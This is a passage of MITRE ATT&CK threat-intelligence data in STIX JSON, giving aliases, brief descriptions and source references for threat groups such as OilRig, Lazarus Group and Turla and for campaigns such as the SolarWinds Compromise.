Dragonfly Sept 2017", "description": "Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. 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The group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit42 OilRig Playbook 2023)(Citation: Unit 42 QUADAGENT July 2018)", "aliases": ["OilRig", "COBALT GYPSY", "IRN2", "APT34", "Helix Kitten", "Evasive Serpens", "Hazel Sandstorm", "EUROPIUM"], "x_mitre_deprecated": false, "x_mitre_version": "4.0", "x_mitre_contributors": ["Robert Falcone", "Bryan Lee", "Dragos Threat Intelligence"], "type": "intrusion-set", "id": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0049", "external_id": "G0049"}, {"source_name": "IRN2", "description": "(Citation: Crowdstrike Helix Kitten Nov 2018)"}, {"source_name": "Hazel Sandstorm", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "EUROPIUM", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "OilRig", "description": "(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)"}, {"source_name": "COBALT GYPSY", "description": "(Citation: Secureworks COBALT GYPSY Threat Profile)"}, {"source_name": "Helix Kitten", "description": "(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)"}, {"source_name": "Evasive Serpens", "description": "(Citation: Unit42 OilRig Playbook 2023)"}, {"source_name": "Check Point APT34 April 2021", "description": "Check Point. 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[Fox Kitten](https://attack.mitre.org/groups/G0117) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE )(Citation: ClearSky Pay2Kitten December 2020)", "aliases": ["Fox Kitten", "UNC757", "Parisite", "Pioneer Kitten", "RUBIDIUM", "Lemon Sandstorm"], "x_mitre_deprecated": false, "x_mitre_version": "2.0", "type": "intrusion-set", "id": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "created": "2020-12-21T21:49:47.307Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0117", "external_id": "G0117"}, {"source_name": "UNC757", "description": "(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)"}, {"source_name": "Pioneer Kitten", "description": "(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: CISA AA20-259A Iran-Based Actor September 2020)"}, {"source_name": "Parisite", "description": "(Citation: Dragos PARISITE )(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)"}, {"source_name": "RUBIDIUM", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "Lemon Sandstorm", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "description": "CISA. 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[APT29](https://attack.mitre.org/groups/G0016) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)(Citation: Unit 42 SolarStorm December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Microsoft Internal Solorigate Investigation Blog) \n\nIn April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to Russia's Foreign Intelligence Service (SVR); public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Citation: Mandiant UNC2452 APT29 April 2022) The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds\u2019 Orion product, a much smaller number were compromised by follow-on [APT29](https://attack.mitre.org/groups/G0016) activity on their systems.(Citation: USG Joint Statement SolarWinds January 2021) ", "aliases": ["SolarWinds Compromise"], "first_seen": "2019-08-01T05:00:00.000Z", "last_seen": "2021-01-01T06:00:00.000Z", "x_mitre_first_seen_citation": "(Citation: Unit 42 SolarStorm December 2020)", "x_mitre_last_seen_citation": "(Citation: MSTIC NOBELIUM May 2021)", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "type": "campaign", "id": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "created": "2023-03-24T14:59:26.744Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/campaigns/C0024", "external_id": "C0024"}, {"source_name": "Volexity SolarWinds", "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}, {"source_name": "CrowdStrike StellarParticle January 2022", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}, {"source_name": "USG Joint Statement SolarWinds January 2021", "description": "FBI, CISA, ODNI, NSA. (2022, January 5). Joint Statement by the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Office of the Director of National Intelligence (ODNI), and the National Security Agency (NSA). Retrieved March 26, 2023.", "url": "https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure"}, {"source_name": "FireEye SUNBURST Backdoor December 2020", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}, {"source_name": "Mandiant UNC2452 APT29 April 2022", "description": "Mandiant. (2020, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023.", "url": "https://www.mandiant.com/resources/blog/unc2452-merged-into-apt29"}, {"source_name": "MSTIC NOBELIUM May 2021", "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"}, {"source_name": "Microsoft Internal Solorigate Investigation Blog", "description": "MSRC Team. (2021, February 18). Microsoft Internal Solorigate Investigation \u2013 Final Update. Retrieved May 14, 2021.", "url": "https://msrc-blog.microsoft.com/2021/02/18/microsoft-internal-solorigate-investigation-final-update/"}, {"source_name": "Microsoft Analyzing Solorigate Dec 2020", "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.", "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/"}, {"source_name": "NSA Joint Advisory SVR SolarWinds April 2021", "description": "NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.", "url": "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF"}, {"source_name": "SolarWinds Advisory Dec 2020", "description": "SolarWinds. (2020, December 24). SolarWinds Security Advisory. Retrieved February 22, 2021.", "url": "https://www.solarwinds.com/sa-overview/securityadvisory"}, {"source_name": "SolarWinds Sunburst Sunspot Update January 2021", "description": "Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021.", "url": "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/"}, {"source_name": "UK NSCS Russia SolarWinds April 2021", "description": "UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.", "url": "https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise"}, {"source_name": "Unit 42 SolarStorm December 2020", "description": "Unit 42. (2020, December 23). SolarStorm Supply Chain Attack Timeline. Retrieved March 24, 2023.", "url": "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_domains": ["enterprise-attack"]}, {"modified": "2024-04-11T16:06:34.699Z", "name": "Lazarus Group", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094).   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(2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}], "modified": "2020-03-18T19:54:59.120Z", "name": "admin@338", "description": "[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. 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(2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."}, {"source_name": "IronNet BlackTech Oct 2021", "url": "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", "description": "Demboski, M., et al. (2021, October 26). China cyber attacks: the current threat landscape. Retrieved March 25, 2022."}, {"source_name": "Reuters Taiwan BlackTech August 2020", "url": "https://www.reuters.com/article/us-taiwan-cyber-china/taiwan-says-china-behind-cyberattacks-on-government-agencies-emails-idUSKCN25F0JK", "description": "Lee, Y. (2020, August 19). Taiwan says China behind cyberattacks on government agencies, emails. Retrieved April 6, 2022."}, {"source_name": "Symantec Palmerworm Sep 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", "description": "Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BlackTech](https://attack.mitre.org/groups/G0098) is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia--particularly Taiwan, Japan, and Hong Kong--and the US since at least 2013. [BlackTech](https://attack.mitre.org/groups/G0098) has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.(Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)(Citation: Reuters Taiwan BlackTech August 2020)", "modified": "2022-04-06T13:14:27.477Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "BlackTech", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", "type": "x-mitre-data-component", "created": "2021-10-20T15:05:19.275Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-20T15:05:19.275Z", "name": "Response Content", "description": "Logged network traffic in response to a scan showing both protocol header and body values", "x_mitre_data_source_ref": "x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-29T14:10:35.711Z", "name": "Malteiro", "description": "[Malteiro](https://attack.mitre.org/groups/G1026) is a financially motivated criminal group that is likely based in Brazil and has been active since at least November 2019. The group operates and distributes the [Mispadu](https://attack.mitre.org/software/S1122)  banking trojan via a Malware-as-a-Service (MaaS) business model. [Malteiro](https://attack.mitre.org/groups/G1026) mainly targets victims throughout Latin America (particularly Mexico) and Europe (particularly Spain and Portugal).(Citation: SCILabs Malteiro 2021)", "aliases": ["Malteiro"], "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_contributors": ["Daniel Fernando Soriano Espinosa", "SCILabs"], "type": "intrusion-set", "id": "intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656", "created": "2024-03-13T20:23:54.698Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G1026", "external_id": "G1026"}, {"source_name": "SCILabs Malteiro 2021", "description": "SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.", "url": "https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-07T16:18:20.802Z", "name": "Logon Session Creation", "description": "Initial construction of a successful new user logon following an authentication attempt. (e.g. Windows EID 4624, /var/log/utmp, or /var/log/wmtp)", "x_mitre_data_source_ref": "x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891", "x_mitre_deprecated": false, "x_mitre_version": "1.1", "type": "x-mitre-data-component", "id": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "created": "2021-10-20T15:05:19.274Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-10T21:38:24.226Z", "name": "Earth Lusca", "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) is a suspected China-based cyber espionage group that has been active since at least April 2019. [Earth Lusca](https://attack.mitre.org/groups/G1006) has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies, educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some [Earth Lusca](https://attack.mitre.org/groups/G1006) operations may be financially motivated.(Citation: TrendMicro EarthLusca 2022)\n\n[Earth Lusca](https://attack.mitre.org/groups/G1006) has used malware commonly used by other Chinese threat groups, including [APT41](https://attack.mitre.org/groups/G0096) and the [Winnti Group](https://attack.mitre.org/groups/G0044) cluster, however security researchers assess [Earth Lusca](https://attack.mitre.org/groups/G1006)'s techniques and infrastructure are separate.(Citation: TrendMicro EarthLusca 2022)", "aliases": ["Earth Lusca", "TAG-22", "Charcoal Typhoon", "CHROMIUM", "ControlX"], "x_mitre_deprecated": false, "x_mitre_version": "2.0", "type": "intrusion-set", "id": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", "created": "2022-07-01T20:12:30.184Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G1006", "external_id": "G1006"}, {"source_name": "Charcoal Typhoon", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "ControlX", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "CHROMIUM", "description": "(Citation: Microsoft Threat Actor Naming July 2023) (Citation: Recorded Future RedHotel August 2023)"}, {"source_name": "TAG-22", "description": "(Citation: Recorded Future TAG-22 July 2021)"}, {"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}, {"source_name": "Recorded Future TAG-22 July 2021", "description": "INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 2, 2022.", "url": "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan"}, {"source_name": "Recorded Future RedHotel August 2023", "description": "Insikt Group. (2023, August 8). RedHotel: A Prolific, Chinese State-Sponsored Group Operating at a Global Scale. Retrieved March 11, 2024.", "url": "https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf"}, {"source_name": "Microsoft Threat Actor Naming July 2023", "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack", "mobile-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-21T15:41:36.287Z", "name": "OS API Execution", "description": "Operating system function/method calls executed by a process", "x_mitre_data_source_ref": "x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "type": "x-mitre-data-component", "id": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "created": "2021-10-20T15:05:19.272Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-22T05:06:05.468Z", "name": "Operation CuckooBees", "description": "[Operation CuckooBees](https://attack.mitre.org/campaigns/C0012) was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012) was conducted by actors affiliated with [Winnti Group](https://attack.mitre.org/groups/G0044), [APT41](https://attack.mitre.org/groups/G0096), and BARIUM.(Citation: Cybereason OperationCuckooBees May 2022)", "aliases": ["Operation CuckooBees"], "first_seen": "2019-12-01T07:00:00.000Z", "last_seen": "2022-05-01T06:00:00.000Z", "x_mitre_first_seen_citation": "(Citation: Cybereason OperationCuckooBees May 2022)", "x_mitre_last_seen_citation": "(Citation: Cybereason OperationCuckooBees May 2022)", "x_mitre_deprecated": false, "x_mitre_version": "1.1", "x_mitre_contributors": ["Andrea Serrano Urea, Telef\u00f3nica Tech"], "type": "campaign", "id": "campaign--93c23946-49af-41f4-ac03-40f9ffc7419b", "created": "2022-09-22T20:07:47.208Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/campaigns/C0012", "external_id": "C0012"}, {"source_name": "Cybereason OperationCuckooBees May 2022", "description": "Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.", "url": "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_domains": ["enterprise-attack"]}, {"aliases": ["UNC2452", "NOBELIUM", "StellarParticle", "Dark Halo"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Katie Nickels, Red Canary", "Matt Brenton, Zurich Insurance Group"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", "type": "intrusion-set", "created": "2021-01-05T15:34:11.066Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"external_id": "G0118", "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0118"}, {"source_name": "UNC2452", "description": "(Citation: FireEye SUNBURST Backdoor December 2020)"}, {"source_name": "NOBELIUM", "description": "(Citation: MSTIC NOBELIUM Mar 2021)"}, {"source_name": "StellarParticle", "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)"}, {"source_name": "Dark Halo", "description": "(Citation: Volexity SolarWinds)"}, {"source_name": "FireEye SUNBURST Backdoor December 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}, {"source_name": "Volexity SolarWinds", "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."}, {"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."}, {"source_name": "CrowdStrike SUNSPOT Implant January 2021", "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}], "modified": "2021-05-04T14:39:31.825Z", "name": "UNC2452", "description": "[UNC2452](https://attack.mitre.org/groups/G0118) is a suspected Russian state-sponsored threat group responsible for the 2020 SolarWinds software supply chain intrusion.(Citation: FireEye SUNBURST Backdoor December 2020) Victims of this campaign include government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East.(Citation: FireEye SUNBURST Backdoor December 2020) The group also compromised at least one think tank by late 2019.(Citation: Volexity SolarWinds)", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-17T22:12:21.483Z", "name": "Turla", "description": "[Turla](https://attack.mitre.org/groups/G0010) is a cyber espionage threat group that has been attributed to Russia's Federal Security Service (FSB).  They have compromised victims in over 50 countries since at least 2004, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns, and leveraging in-house tools and malware, such as [Uroburos](https://attack.mitre.org/software/S0022).(Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)", "aliases": ["Turla", "IRON HUNTER", "Group 88", "Waterbug", "WhiteBear", "Snake", "Krypton", "Venomous Bear", "Secret Blizzard", "BELUGASTURGEON"], "x_mitre_deprecated": false, "x_mitre_version": "5.0", "x_mitre_contributors": ["Matthieu Faou, ESET", "Edward Millington"], "type": "intrusion-set", "id": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "created": "2017-05-31T21:31:49.816Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0010", "external_id": "G0010"}, {"source_name": "BELUGASTURGEON", "description": "(Citation: Accenture HyperStack October 2020)"}, {"source_name": "Krypton", "description": "(Citation: CrowdStrike VENOMOUS BEAR)"}, {"source_name": "Snake", "description": "(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019)(Citation: Talos TinyTurla September 2021)"}, {"source_name": "Venomous Bear", "description": "(Citation: CrowdStrike VENOMOUS BEAR)(Citation: Talos TinyTurla September 2021)"}, {"source_name": "Turla", "description": "(Citation: Kaspersky Turla)"}, {"source_name": "Group 88", "description": "(Citation: Leonardo Turla Penquin May 2020)"}, {"source_name": "Secret Blizzard", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "IRON HUNTER", "description": "(Citation: Secureworks IRON HUNTER Profile)"}, {"source_name": "Accenture HyperStack October 2020", "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020.", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity"}, {"source_name": "Waterbug", "description": "Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug)"}, {"source_name": "Talos TinyTurla September 2021", "description": "Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021.", "url": "https://blog.talosintelligence.com/2021/09/tinyturla.html"}, {"source_name": "ESET Turla Mosquito Jan 2018", "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}, {"source_name": "ESET Gazer Aug 2017", "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}, {"source_name": "ESET Turla PowerShell May 2019", "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"}, {"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.", "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}, {"source_name": "Securelist WhiteBear Aug 2017", "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", "url": "https://securelist.com/introducing-whitebear/81638/"}, {"source_name": "Kaspersky Turla", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "url": "https://securelist.com/the-epic-turla-operation/65545/"}, {"source_name": "Leonardo Turla Penquin May 2020", "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", "url": 